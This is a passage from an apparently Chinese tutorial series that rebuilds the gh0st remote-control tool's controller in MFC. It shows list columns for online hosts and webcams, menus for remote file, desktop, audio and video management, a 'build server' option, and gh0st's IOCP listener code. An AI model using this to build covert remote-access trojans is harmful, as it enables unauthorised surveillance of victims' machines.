列表的名字与列表的宽度是同一一对应的关系，以后为了以后修改方便建立这样的一个结构体:</p><pre><code> typedef struct&#123;    char    *title;           //列表的名称    int        nWidth;   //列表的宽度&#125;COLUMNSTRUCT;</code></pre><p>以char类型表示 列表的名字，以int 类型表示列表的宽度</p><p>然后建立这个结构体变量的数组</p><pre><code>   COLUMNSTRUCT g_Column_Data[] = &#123;    &#123;&quot;IP&quot;,                148    &#125;,    &#123;&quot;区域&quot;,            150    &#125;,    &#123;&quot;计算机名/备注&quot;,    160    &#125;,    &#123;&quot;操作系统&quot;,        128    &#125;,    &#123;&quot;CPU&quot;,                80    &#125;,    &#123;&quot;摄像头&quot;,            81    &#125;,    &#123;&quot;PING&quot;,            81    &#125;&#125;;</code></pre><p>添加全局变量int g_Column_Count=7; //列表的个数</p><p><img src="https://s2.loli.net/2022/04/07/fNjlEcgLYiHpx56.png"></p><p>7.在initList中写入加入列表列名称的代码并解释:</p><pre><code> for (int i = 0; i &lt; g_Column_Count; i++)&#123;    m_CList_Online.InsertColumn(i, g_Column_Data[i].title,g_Column_Data[i].nWidth);&#125;</code></pre><p><img src="https://s2.loli.net/2022/04/08/3h2bHCqJBLTdQY9.png"></p><p>我这里会报错，是因为使用了uncode字符集，需要修改为使用多字节字符集</p><p><img src="https://s2.loli.net/2022/04/08/WkTnhIuSazoYs6Z.png"></p><p><img src="https://s2.loli.net/2022/04/08/YZQOUBiDc8HqvWf.png"></p><pre><code>int InsertColumn(                int nCol,                  //列的顺序                LPCTSTR lpszColumnHeading, //列的名字                int nFormat = LVCFMT_LEFT,  //列对齐的方式 LVCFMT_LEFT, LVCFMT_RIGHT,LVCFMT_CENTER                int nWidth = -1,            //列的宽度                int nSubItem = -1           //与之联系的子条目 默认为-1 我们不用写                );</code></pre><p>再看一下InsertColumn ，传入的参数分别是顺序，名字，对齐方式 ，宽度</p><p>8.在OnInitDialog中写入InitList()</p><p><img src="https://s2.loli.net/2022/04/08/GsYkU6KASh8MiOQ.png"></p><p>9.改变列表控件的属性 ICon  改为Report</p><p><img src="https://s2.loli.net/2022/04/08/31zbUCPuqNsEglw.png"></p><p>10.同样的方法改动日志消息的列表控件看操作</p><pre><code>  //变量声明   int g_Column_Count_Online=7; //列表的个数COLUMNSTRUCT g_Column_Data_Message[] = &#123;    &#123;&quot;信息类型&quot;,        68    &#125;,    &#123;&quot;时间&quot;,            100    &#125;,    &#123;&quot;信息内容&quot;,        660    &#125;&#125;;//InitListfor (int i = 0; i &lt; g_Column_Message; i++)    &#123;        m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].title,LVCFMT_CENTER,g_Column_Data_Message[i].nWidth);    &#125;</code></pre><p>11.改变列表控件的属性 ICon  改为Report</p><h2 id="1-3-列表的列宽度支持伸缩"><a href="#1-3-列表的列宽度支持伸缩" class="headerlink" title="1.3 列表的列宽度支持伸缩"></a>1.3 列表的列宽度支持伸缩</h2><p>1.CListCtrl  SetColumnWidth   查看MSDN<br>             BOOL SetColumnWidth(<br>                             int nCol,             //列索引<br>                             int cx                //列宽度<br>             );</p><p>2.声明列的总宽度:</p><pre><code>        int g_Column_Online_Width=0;  //列总宽度</code></pre><p><img src="https://s2.loli.net/2022/04/08/HCIDbnodrX81jMx.png"></p><p>3.得到列的总宽度 initlist中:</p><pre><code>       g_Column_Online_Width+=g_Column_Online_Data[i].nWidth;       //得到总宽度</code></pre><p><img src="https://s2.loli.net/2022/04/08/H8MpOYorKimk2jt.png"></p><p>4.在OnSize 添加代码:</p><pre><code>      double dcx=cx;     //对话框的总宽度      for(int i=0;i&lt;g_Column_Online_Count;i++)&#123;                   //遍历每一个列        double dd=g_Column_Online_Data[i].nWidth;     //得到当前列的宽度        dd/=g_Column_Online_Width;                    //看一看当前宽度占总长度的几分之几        dd*=dcx;                                       //用原来的长度乘以所占的几分之几得到当前的宽度        int lenth=dd;                                   //转换为int 类型        m_CList_Online.SetColumnWidth(i,(lenth));        //设置当前的宽度    &#125;</code></pre><p><img src="https://s2.loli.net/2022/04/08/EP1k6xIysCfbm8K.png"></p><p>5.解释为什么用double</p><pre><code>          double   0.1        int 0             90.23232</code></pre><p>6.改变日志的列表宽度(与之前相同)</p><pre><code>  (1)int g_Column_Message_Width = 0;  //列总宽度   (2)g_Column_Message_Width += g_Column_Data_Message[i].nWidth;       //得到总宽度   for (int i = 0;i &lt; g_Column_Message;i++) &#123;                   //遍历每一个列            double dd = g_Column_Data_Message[i].nWidth;     //得到当前列的宽度            dd /= g_Column_Message_Width;                    //看一看当前宽度占总长度的几分之几            dd *= dcx;                                       //用原来的长度乘以所占的几分之几得到当前的宽度            int lenth = dd;                                   //转换为int 类型            m_CList_Message.SetColumnWidth(i, (lenth));        //设置当前的宽度        &#125;</code></pre><h2 id="1-4-列表中添加条目"><a href="#1-4-列表中添加条目" class="headerlink" title="1.4 列表中添加条目"></a>1.4 列表中添加条目</h2><p>1.CListCtrl    </p><pre><code>           InsertItem  插入条目           int InsertItem(                     int nItem,              //插入哪一行                     LPCTSTR lpszItem        //该行0列显示的字符           );          SetItemText         设置哪个列的字符          BOOL SetItemText(                      int nItem,                   //改动那个行                      int nSubItem,                //该行中那个子列                      LPCTSTR lpszText             //要设置的字符          );</code></pre><p>2.列表设计思路:</p><pre><code>         (1)服务端上线后要显示在列表中，这样有一个统一的函数来处理会使代码更加简洁。         (2)消息显示分为成功失败两种，还要在其中显示消息产生的时间，这样也应该有一个统一的函数来处理。</code></pre><p>3.上线列表添加处理:</p><pre><code>void CPCRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing)&#123;    m_CList_Online.InsertItem(0,strIP);           //默认为0行  这样所有插入的新列都在最上面    m_CList_Online.SetItemText(0,ONLINELIST_ADDR,strAddr);      //设置列的显示字符   这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法    m_CList_Online.SetItemText(0,ONLINELIST_COMPUTER_NAME,strPCName); //解决问题会避免以后扩展时的冲突    m_CList_Online.SetItemText(0,ONLINELIST_OS,strOS);     m_CList_Online.SetItemText(0,ONLINELIST_CPU,strCPU);    m_CList_Online.SetItemText(0,ONLINELIST_VIDEO,strVideo);    m_CList_Online.SetItemText(0,ONLINELIST_PING,strPing); &#125;</code></pre><p>在类视图CMFghostDlg中添加函数AddList ，并设置参数</p><p><img src="https://s2.loli.net/2022/04/09/iEhekLbNM5ZuAYg.png"></p><p>在资源管理器CMFCghostDlg中的AddList设置函数体</p><p><img src="https://s2.loli.net/2022/04/09/iQPMCouB1mKV53l.png"></p><p>4.添加日志消息的处理:</p><pre><code>// show msg void CPCRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)&#123;    CString strIsOK,strTime;    CTime t=CTime::GetCurrentTime();    strTime=t.Format(&quot;%H:%M:%S&quot;);    if (bIsOK)    &#123;        strIsOK=&quot;执行成功&quot;;    &#125;else&#123;        strIsOK=&quot;执行失败&quot;;    &#125;     m_CList_Message.InsertItem(0,strIsOK);     m_CList_Message.SetItemText(0,1,strTime);     m_CList_Message.SetItemText(0,2,strMsg);&#125;</code></pre><p>在类视图CMFghostDlg中添加函数ShowMessage ，并设置参数</p><p><img src="https://s2.loli.net/2022/04/09/UL7KifCmHzEW681.png"></p><p>在资源管理器CMFCghostDlg中的ShowMessage设置函数体</p><p><img src="https://s2.loli.net/2022/04/09/dXDowiTUIMcug2L.png"></p><p>5.添加伪上线，和日志的测试代码,在没有加入gh0st传输内核之前是要自己测试的，所以要加入一个用于测试的函数:</p><pre><code>void CPCRemoteDlg::Test(void)&#123;    AddList(&quot;192.168.0.1&quot;,&quot;本机局域网&quot;,&quot;Lang&quot;,&quot;Windows7&quot;,&quot;2.2GHZ&quot;,&quot;有&quot;,&quot;123232&quot;);    ShowMessage(true,&quot;软件初始化成功...&quot;);&#125;</code></pre><p><img src="https://s2.loli.net/2022/04/09/sLc6w5Xjr8PIM9N.png"></p><p>  然后在OnInitDialog  中添加:</p><pre><code>Test();</code></pre><p><img src="https://s2.loli.net/2022/04/09/AwPYzoeFSOEL4im.png"></p><p>6.点击时整个列都是选中状态</p><pre><code> InitList():中加入代码:   m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);   m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);</code></pre><p><img src="https://s2.loli.net/2022/04/09/TSfY6GxaLEzcKq9.png"></p><h2 id="1-5-列表中显示弹出菜单"><a href="#1-5-列表中显示弹出菜单" class="headerlink" title="1.5 列表中显示弹出菜单"></a>1.5 列表中显示弹出菜单</h2><p>在资源视图中选择添加资源 menu </p><p><img src="https://s2.loli.net/2022/04/09/bBfFzMtqKHZgx2w.png"></p><p>在该menu视图中编辑内容</p><p><img src="https://s2.loli.net/2022/04/09/7VF6xWbmiozn4a3.png"></p><p>添加响应函数</p><p>在类视图中点击MFCghostDlg,选择属性，在IDC_ONLINE中设置NM_RCLICK事件.这样点击后就可触发响应函数中的代码。</p><p><img src="https://s2.loli.net/2022/04/09/qkui1hzbd9arpwN.png"></p><p><img src="https://s2.loli.net/2022/04/09/AgI3TkaDYw4UEMo.png"></p><p>填充函数</p><p><img src="https://s2.loli.net/2022/04/09/2OlUzuJhg5KIM6Y.png"></p><p><img src="https://s2.loli.net/2022/04/09/pBXv194uzrcRNkH.png"></p><pre><code>CMenu    popup;     //申明菜单变量popup.LoadMenu(IDR_MENU_ONLINE);  //加载菜单项CMenu* pM = popup.GetSubMenu(0);  //得到菜单项CPoint    p;                       GetCursorPos(&amp;p);             //得到鼠标位置int    count = pM-&gt;GetMenuItemCount();     //得到菜单项的个数if (m_CList_Online.GetSelectedCount() == 0)       //如果没有选中&#123;    for (int i = 0; i &lt; count; i++)    &#123;        pM-&gt;EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED);          //菜单全部变灰    &#125;&#125;pM-&gt;TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);    //显示菜单项*pResult = 0;</code></pre><p>这样点击右键就可以看到列表了</p><p><img src="https://s2.loli.net/2022/04/09/pXR4Fub5iZPMglh.jpg"></p><h2 id="1-6-添加菜单消息响应，从列表中删除条目"><a href="#1-6-添加菜单消息响应，从列表中删除条目" class="headerlink" title="1.6 添加菜单消息响应，从列表中删除条目"></a>1.6 添加菜单消息响应，从列表中删除条目</h2><p>1.添加菜单消息响应的函数:</p><pre><code>     终端管理     进程管理    窗口管理    桌面管理     文件管理    语音管理     视频管理   服务管理     注册表管理</code></pre><p><img src="https://s2.loli.net/2022/04/12/2aQ9DxgmqnYR5Wp.png"></p><p>2.删除列表中的条目:</p><pre><code>  CListCtrl       (1)DeleteItem                BOOL DeleteItem(                             int nItem              //列表的索引  从0开始               );                 (2)GetSelectionMark                   int GetSelectionMark( );        //得到用户选中的条目索引</code></pre><p>3.添加下线菜单  断开连接   ID:   IDM_ONLINE_DELETE</p><p><img src="https://s2.loli.net/2022/04/12/prwSgQVt5zUBoyq.png"></p><p>4.添加菜单响应消息，添加代码:</p><pre><code>                 int iSelect=m_CList_Online.GetSelectionMark( );                         m_CList_Online.DeleteItem(iSelect);</code></pre><p><img src="https://s2.loli.net/2022/04/12/E6nAFVB5mCzYoc9.png"></p><p>5.产生下线日志: </p><pre><code>         CListCtrl     GetItemText                        CString GetItemText(                                         int nItem,          //哪一行                                         int nSubItem        //行中的那个子列                       ) const;</code></pre><p>6.接着添加代码:</p><pre><code>CString strIP;int iSelect=m_CList_Online.GetSelectionMark( );strIP=m_CList_Online.GetItemText(iSelect,ONLINELIST_IP);m_CList_Online.DeleteItem(iSelect);strIP+=&quot;断开连接&quot;;ShowMessage(true,strIP);</code></pre><p><img src="https://s2.loli.net/2022/04/12/E6nAFVB5mCzYoc9.png"></p><h2 id="1-7-为对话框添加菜单栏并添加事件响应"><a href="#1-7-为对话框添加菜单栏并添加事件响应" class="headerlink" title="1.7 为对话框添加菜单栏并添加事件响应"></a>1.7 为对话框添加菜单栏并添加事件响应</h2><p>1.创建菜单的资源  ID:  IDR_MENU_MAIN</p><p>2.添加菜单: </p><pre><code>        文件--退出(IDM_MAIN_CLOSE)        设置--参数设置(IDM_MAIN_SET)----生成服务端(IDM_MAIN_BUILD)        帮助--关于(IDM_MAIN_ABOUT)</code></pre><p><img src="https://s2.loli.net/2022/04/12/B3Obu9kWsejZVXJ.png"></p><p>3.为对话框添加代码,显示菜单:</p><pre><code>   (1) 认识几个API函数:          HMENU LoadMenu(                    //载入菜单               HINSTANCE hInstance,          //资源所在文件模块的句柄标识               LPCTSTR lpMenuName           //资源ID           );            BOOL SetMenu(                  //为窗口设置菜单              HWND hWnd,                 //要设置菜单的窗口句柄              HMENU hMenu                //菜单标识            );           BOOL DrawMenuBar(          //显示菜单                   HWND hWnd          //要显示菜单的窗口句柄            );  (2)添加添加菜单的代码  oninitdialogHMENU hmenu;hmenu=LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN));  //载入菜单资源::SetMenu(this-&gt;GetSafeHwnd(),hmenu);                  //为窗口设置菜单::DrawMenuBar(this-&gt;GetSafeHwnd());                    //显示菜单</code></pre><p><img src="https://s2.loli.net/2022/04/12/bdOMu6CvSpmxarH.png"></p><p>3.为每一个菜单添加事件响应</p><p>4.添加代码:</p><pre><code>  退出菜单代码:         BOOL PostMessage(          HWND hWnd,             //标识向那个窗口发送消息                                    UINT Msg,              //消息内容                                    WPARAM wParam,         //消息参数                                     LPARAM lParam          //消息参数        );         PostMessage(WM_CLOSE,0,0); 关于菜单代码:       CAboutDlg dlgAbout;       dlgAbout.DoModal();其他代码用MessageBox代替</code></pre><p><img src="https://s2.loli.net/2022/04/12/mk4VcpKFatSOPAT.png"></p><h2 id="1-8-为对话框添加状态条并在态条上显示文字"><a href="#1-8-为对话框添加状态条并在态条上显示文字" class="headerlink" title="1.8 为对话框添加状态条并在态条上显示文字"></a>1.8 为对话框添加状态条并在态条上显示文字</h2><p>1.创建字符串资源  ID:  IDR_STATUSBAR_STRING</p><p><img src="https://s2.loli.net/2022/04/12/n3JocdkfFtDLY28.png"></p><p>2.添加状态条变量:</p><pre><code>    CStatusBar  m_wndStatusBar;              //状态条</code></pre><p><img src="https://s2.loli.net/2022/04/12/5lsGuxqZbKW8HXz.png"></p><p>3.查看MSDN:</p><pre><code>    CStatusBar  SetIndicators                      BOOL SetIndicators(           //在状态条中加入对应字符串ID                      const UINT* lpIDArray,   //字符串ID                                        int nIDCount     //个数                );                void SetPaneInfo(         //设置状态条的显示状态                              int nIndex,     //状态条的索引                              UINT&amp; nID,      //状态条的字符ID                              UINT&amp; nStyle,    //状态条的样式                               int&amp; cxWidth    //状态条的宽度                ) const;</code></pre><p>4.写入代码创建状态条的代码:</p><pre><code>  (1)  创建字符ID的数组           static UINT indicators[] =           &#123;           IDR_STATUSBAR_STRING               &#125;;   (2)添加CreatStatusBar函数并写入代码:        if (!m_wndStatusBar.Create(this) ||    !m_wndStatusBar.SetIndicators(indicators,    sizeof(indicators)/sizeof(UINT)))                    //创建状态条并设置字符资源的ID     &#123;    TRACE0(&quot;Failed to create status bar\n&quot;);    return ;      // fail to create         &#125;       CRect rc;       ::GetWindowRect(m_wndStatusBar.m_hWnd,rc);                    m_wndStatusBar.MoveWindow(rc);                              //移动状态条到指定位置   (3)在OnSize 中添加代码:          if(m_wndStatusBar.m_hWnd!=NULL)&#123;    //当对话框大小改变时 状态条大小也随之改变    CRect rc;    rc.top=cy-20;    rc.left=0;    rc.right=cx;    rc.bottom=cy;    m_wndStatusBar.MoveWindow(rc);    m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0),SBPS_POPOUT, cx-10);     &#125;</code></pre><p><img src="https://s2.loli.net/2022/04/12/8CZcbr5MelhJNmo.png"></p><p><img src="https://s2.loli.net/2022/04/12/wirknzpZFV2yejQ.png"></p><p>5.写入状态上显示文字的代码:</p><pre><code>       .h中添加变量 int iCount   CString strStatusMsg;if (strMsg.Find(&quot;上线&quot;)&gt;0)         //处理上线还是下线消息&#123;    iCount++;&#125;else if (strMsg.Find(&quot;下线&quot;)&gt;0)&#123;    iCount--;&#125;else if (strMsg.Find(&quot;断开&quot;)&gt;0)&#123;    iCount--;&#125;iCount=(iCount&lt;=0?0:iCount);         //防止iCount 有-1的情况strStatusMsg.Format(&quot;有%d个主机在线&quot;,iCount);m_wndStatusBar.SetPaneText(0,strStatusMsg);   //在状态条上显示文字</code></pre><p>6.列表中添加条目时产生日志:<br>      Addlist 中添加<br>            ShowMessage(true,strIP+”主机上线”);</p><p><img src="https://s2.loli.net/2022/04/12/JHmvZsquXLFzoOM.png"></p><p><img src="https://s2.loli.net/2022/04/12/JQnEcyTPVWdLghX.png"></p><h2 id="1-9-为对话框添加入工具条"><a href="#1-9-为对话框添加入工具条" class="headerlink" title="1.9 为对话框添加入工具条"></a>1.9 为对话框添加入工具条</h2><p>1.创建工具条资源  ID:  IDR_TOOLBAR_MAIN<br>添加 IDR_TOOLBAR_MAIN 时 修改大小</p><pre><code>              共12个工具条  9+3</code></pre><p><img src="https://s2.loli.net/2022/04/12/JqybaXdp5SKZc7j.png"></p><p>2.添加BMP资源:</p><p>图片格式需要为bmp图片，在bitmap中导入资源</p><pre><code>             ID:  IDB_BITMAP_MAIN</code></pre><p><img src="https://s2.loli.net/2022/04/12/jvJunAY8Nyb6xOm.png"></p><p>3.复制TrueColorToolBar文件，添加CTrueColorToolBar类.</p><p><img src="https://s2.loli.net/2022/04/12/9mDTJvgaurNlhKW.png"></p><p>4.添加:</p><pre><code>   #include &quot;TrueColorToolBar.h&quot;</code></pre><p><img src="https://s2.loli.net/2022/04/12/dKJROn94WU3vCPt.png"></p><p>5.声明变量:<br>      CTrueColorToolBar m_ToolBar; </p><p><img src="https://s2.loli.net/2022/04/12/lN98XT5uydH6RSV.png"></p><p>6.添加CreateToolBar()函数</p><p>7.分析CTrueColorToolBar类:</p><pre><code>                    继承CToolBar</code></pre><p>8.查看MSDN  CToolBar类:</p><p>9.CreateToolBar()函数中写入代码:<br>        if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP<br>        | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||<br>        !m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN))<br>    {<br>        TRACE0(“Failed to create toolbar\n”);<br>        return;      // fail to create<br>    }<br>    m_ToolBar.ModifyStyle(0, TBSTYLE_FLAT);    //Fix for WinXP<br>    m_ToolBar.LoadTrueColorToolBar<br>        (<br>        48,    //加载真彩工具条<br>        IDB_BITMAP_MAIN,<br>        IDB_BITMAP_MAIN,<br>        IDB_BITMAP_MAIN<br>        );<br>    RECT rt,rtMain;<br>    GetWindowRect(&amp;rtMain);<br>    rt.left=0;<br>    rt.top=0;<br>    rt.bottom=80;<br>    rt.right=rtMain.right-rtMain.left+10;<br>    m_ToolBar.MoveWindow(&amp;rt,TRUE);</p><pre><code>m_ToolBar.SetButtonText(0,&quot;终端管理&quot;);  m_ToolBar.SetButtonText(1,&quot;进程管理&quot;); m_ToolBar.SetButtonText(2,&quot;窗口管理&quot;); m_ToolBar.SetButtonText(3,&quot;桌面管理&quot;); m_ToolBar.SetButtonText(4,&quot;文件管理&quot;); m_ToolBar.SetButtonText(5,&quot;语音管理&quot;); m_ToolBar.SetButtonText(6,&quot;视频管理&quot;); m_ToolBar.SetButtonText(7,&quot;服务管理&quot;); m_ToolBar.SetButtonText(8,&quot;注册表管理&quot;); m_ToolBar.SetButtonText(10,&quot;参数设置&quot;); m_ToolBar.SetButtonText(11,&quot;生成服务端&quot;); m_ToolBar.SetButtonText(12,&quot;帮助&quot;); RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);</code></pre><p>10.OnSize中添加代码:<br>        if(m_ToolBar.m_hWnd!=NULL)              //工具条<br>    {<br>        CRect rc;<br>        rc.top=rc.left=0;<br>        rc.right=cx;<br>        rc.bottom=80;<br>        m_ToolBar.MoveWindow(rc);     //设置工具条大小位置<br>    }</p><p><img src="https://s2.loli.net/2022/04/12/L4nlZVbR2x1gXeA.png"></p><p>11.Oninitdialog 中添加CreateToolBar</p><p><img src="https://s2.loli.net/2022/04/12/zdhNXMwyoP6ns2k.png"></p><h2 id="1-10-为程序添加系统托盘"><a href="#1-10-为程序添加系统托盘" class="headerlink" title="1.10 为程序添加系统托盘"></a>1.10 为程序添加系统托盘</h2><p>1.创建菜单资源<br>                ID:  IDR_MENU_NOTIFY<br>                添加子菜单  显示  IDM_NOTIFY_SHOW<br>                            退出  IDM_NOTIFY_CLOSE</p><p><img src="https://s2.loli.net/2022/04/12/wLs1qh7MbUpIN3v.png"></p><p>2.认识一个API</p><pre><code>    Shell_NotifyIcon     BOOL Shell_NotifyIcon(                    //向系统托盘中加入图标                       DWORD dwMessage,         //状态                                  PNOTIFYICONDATA lpdata   //含有图标  消息响应 的一个结构体     );</code></pre><p> 3.认识NOTIFYICONDATA  结构体:</p><pre><code>       typedef struct _NOTIFYICONDATA &#123;DWORD cbSize;       //结构体自身大小HWND hWnd;          //托盘的父窗口  托盘发出的消息由哪一个窗口响应UINT uID;           //显示图标的IDUINT uFlags;         //托盘的状态 (如有图标，有气泡提示，有消息响应等)UINT uCallbackMessage; //托盘事件的消息响应函数HICON hIcon;            //图标的变量TCHAR szTip[64];        //气泡的显示文字DWORD dwState;          //图标的显示状态DWORD dwStateMask;      //图标的显示状态TCHAR szInfo[256];      //气泡的显示文字  (可以忽略)union &#123;    UINT uTimeout;    UINT uVersion;&#125;;TCHAR szInfoTitle[64];DWORD dwInfoFlags;GUID guidItem;HICON hBalloonIcon;    &#125; NOTIFYICONDATA, *PNOTIFYICONDATA;</code></pre><p>4.在oninitdialog函数中写入加入系统脱盘的代码:</p><pre><code>      nid.cbSize = sizeof(nid);     //大小赋值nid.hWnd = m_hWnd;           //父窗口nid.uID = IDR_MAINFRAME;     //icon  IDnid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;   //托盘所拥有的状态nid.uCallbackMessage = UM_ICONNOTIFY;            //回调消息nid.hIcon = m_hIcon;                            //icon 变量CString str=&quot;PCRemote远程协助软件.........&quot;;       //气泡提示lstrcpyn(nid.szTip, (LPCSTR)str, sizeof(nid.szTip) / sizeof(nid.szTip[0]));Shell_NotifyIcon(NIM_ADD, &amp;nid);   //显示托盘</code></pre><p><img src="https://s2.loli.net/2022/04/12/JgPx1KCwdGEmo3U.png"></p><p>5.演示 ，在窗口销毁时托盘依然存在</p><p>6.添加WM_CLOSE消息并写入代码:</p><pre><code>  Shell_NotifyIcon(NIM_DELETE, &amp;nid); //销毁图标</code></pre><p><img src="https://s2.loli.net/2022/04/12/isYezB3c72dGWwE.png"></p><p>7.stdafx.h文件中加入自定义消息的定义</p><pre><code> //自定义消息enum&#123;    UM_ICONNOTIFY= WM_USER+0x100,&#125;;</code></pre><p><img src="https://s2.loli.net/2022/04/12/CBhz1opLE2iDUF7.png"></p><p>8.声明消息处理函数:<br>     afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);</p><p><img src="https://s2.loli.net/2022/04/12/L3KmbZXthj5IrRU.png"></p><ol start="9"><li> cpp文件中写入代码:</li></ol><pre><code>       void CPCRemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)&#123;    switch ((UINT)lParam)    &#123;    case WM_LBUTTONDOWN: // click or dbclick left button on icon    case WM_LBUTTONDBLCLK: // should show desktop        if (!IsWindowVisible())             ShowWindow(SW_SHOW);        else            ShowWindow(SW_HIDE);        break;    case WM_RBUTTONDOWN: // click right button, show menu        CMenu menu;        menu.LoadMenu(IDR_MENU_NOTIFY);        CPoint point;        GetCursorPos(&amp;point);        SetForegroundWindow();        menu.GetSubMenu(0)-&gt;TrackPopupMenu(            TPM_LEFTBUTTON|TPM_RIGHTBUTTON,             point.x, point.y, this, NULL);         PostMessage(WM_USER, 0, 0);        break;    &#125;&#125;</code></pre><p><img src="https://s2.loli.net/2022/04/12/IO4iAPXxTUgLYCB.png"></p><p>10.添加消息响应:</p><pre><code>ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify)  </code></pre><p><img src="https://s2.loli.net/2022/04/12/v3z8L612QKfTpku.png"></p><p>11.添加显示菜单消息响应</p><h1 id="二、加入Socket数据传输的内核"><a href="#二、加入Socket数据传输的内核" class="headerlink" title="二、加入Socket数据传输的内核"></a>二、加入Socket数据传输的内核</h1><h2 id="2-3"><a href="#2-3" class="headerlink" title="2.3"></a>2.3</h2><p>1.复制gh0st主控端的include文件夹到我们的工程下。</p><p><img src="https://s2.loli.net/2022/04/20/9ICSdqjN5RmcZgL.png"></p><p><img src="https://s2.loli.net/2022/04/20/lzQVfowE984BJbW.png"></p><p>2.包含复制过来的include 文件夹下的文件。</p><p>选择 项目 -&gt; 添加现有项 -&gt; 选择include所有文件</p><p><img src="https://s2.loli.net/2022/04/20/g2OZuF6BScCVKoN.png"></p><p>3.复制common文件夹到我们的工程的上一层目录下。</p><p>4.改变 #include “zlib\zlib.h”  的文件路径#include “......\common\zlib\zlib.h”</p><p><img src="https://s2.loli.net/2022/04/20/iIt9UuYgp2Ax1aB.png"></p><p>根据本地文件位置修改</p><p>5.注释掉//#include “../MainFrm.h”<br>6.添加....\common\zlib\zlib.lib库</p><pre><code>属性--&gt;连接器--&gt;输入--&gt;附加依赖项 ..\..\common\zlib\zlib.lib</code></pre><p><img src="https://s2.loli.net/2022/04/20/gQID4tXa9S6Mshf.png"></p><p>7.忽略特定默认库LIBCMT.lib</p><p><img src="https://s2.loli.net/2022/04/20/hYVynA38Iz7mCPX.png"></p><p>遇到报错：</p><p>在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加“#include “pch.h””?</p><p>解决办法：取消预编译头：</p><p>菜单栏，项目 ——&gt; 【项目名称】属性 ——&gt; 配置属性 ——&gt; c/c++  ——&gt; 预编译头</p><p><img src="https://s2.loli.net/2022/04/20/dFqcHT6D2S1wAfg.png"></p><p>8.编译成功ok…………</p><h2 id="2-4加入端口监听功能"><a href="#2-4加入端口监听功能" class="headerlink" title="2.4加入端口监听功能"></a>2.4加入端口监听功能</h2><p>1.分析gh0st监听端口的代码:</p><pre><code>         Activate(UINT nPort, UINT nMaxConnections)</code></pre><p>2.需要一个回调函数</p><pre><code>       NotifyProc</code></pre><p>3.复制NotifyProc 代码  去掉多余的代码</p><p><img src="https://s2.loli.net/2022/04/20/5Bh8yITvCAW7qDN.png"></p><pre><code>void CALLBACK CMFCghostDlg::NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode)&#123;    try    &#123;        switch (nCode)        &#123;        case NC_CLIENT_CONNECT:            break;        case NC_CLIENT_DISCONNECT:            //g_pConnectView-&gt;PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);            break;        case NC_TRANSMIT:            break;        case NC_RECEIVE:            //ProcessReceive(pContext);        //这里是有数据到来 但没有完全接收            break;        case NC_RECEIVE_COMPLETE:            //ProcessReceiveComplete(pContext);       //这里时完全接收 处理发送来的数据 跟进    ProcessReceiveComplete            break;        &#125;    &#125;    catch (...) &#123;&#125;&#125;</code></pre><p>添加定义：</p><pre><code>CIOCPServer* m_iocpServer = NULL;</code></pre><p><img src="https://s2.loli.net/2022/04/20/hoZIsSJyt1gfvaV.png"></p><p>4.复制Activate  代码 并处理</p><pre><code>void CMFCghostDlg::Activate(UINT nPort, UINT nMaxConnections)&#123;    CString        str;    if (m_iocpServer != NULL)    &#123;        m_iocpServer-&gt;Shutdown();        delete m_iocpServer;    &#125;    m_iocpServer = new CIOCPServer;    ////lang2.1_8    // 开启IPCP服务器 最大连接  端口     查看NotifyProc回调函数  函数定义    if (m_iocpServer-&gt;Initialize(NotifyProc, NULL, 100000, nPort))    &#123;        char hostname[256];        gethostname(hostname, sizeof(hostname));        HOSTENT* host = gethostbyname(hostname);        if (host != NULL)        &#123;            for (int i = 0; ; i++)            &#123;                str += inet_ntoa(*(IN_ADDR*)host-&gt;h_addr_list[i]);                if (host-&gt;h_addr_list[i] + host-&gt;h_length &gt;= host-&gt;h_name)                    break;                str += &quot;/&quot;;            &#125;        &#125;        //m_wndStatusBar.SetPaneText(0, str);        //str.Format(&quot;端口: %d&quot;, nPort);        //m_wndStatusBar.SetPaneText(2, str);        str.Format(&quot;监听端口: %d成功&quot;, nPort);        ShowMessage(true, str);    &#125;    else    &#123;        //str.Format(&quot;端口%d绑定失败&quot;, nPort);        //m_wndStatusBar.SetPaneText(0, str);        //m_wndStatusBar.SetPaneText(2, &quot;端口: 0&quot;);        str.Format(&quot;监听端口: %d失败&quot;, nPort);        ShowMessage(false, str);    &#125;    //m_wndStatusBar.SetPaneText(3, &quot;连接: 0&quot;);&#125;// CPCRemoteDlg 消息处理程序</code></pre><p>5.监听后添加日志消息</p><pre><code>str.Format(&quot;监听端口: %d成功&quot;, nPort);ShowMessage(true,str);//elsestr.Format(&quot;监听端口: %d失败&quot;, nPort);ShowMessage(false,str);</code></pre><p><img src="https://s2.loli.net/2022/04/20/24DxP6EzIUTSl3W.png"></p><p>6.测试  netstat -an</p><p>可以看到2000端口被占用</p><h1 id="ps-bmp文件格式"><a href="#ps-bmp文件格式" class="headerlink" title="ps bmp文件格式"></a>ps bmp文件格式</h1><p>1.一个bmp文件由四部分组成:</p><pre><code>     struCt tagBITMAPFIlEHEADER     strut tagBITMAPINFOHEADER     typedef tagRGBQUAD     位图数据</code></pre><hr><h2 id="bmp文件结构解析"><a href="#bmp文件结构解析" class="headerlink" 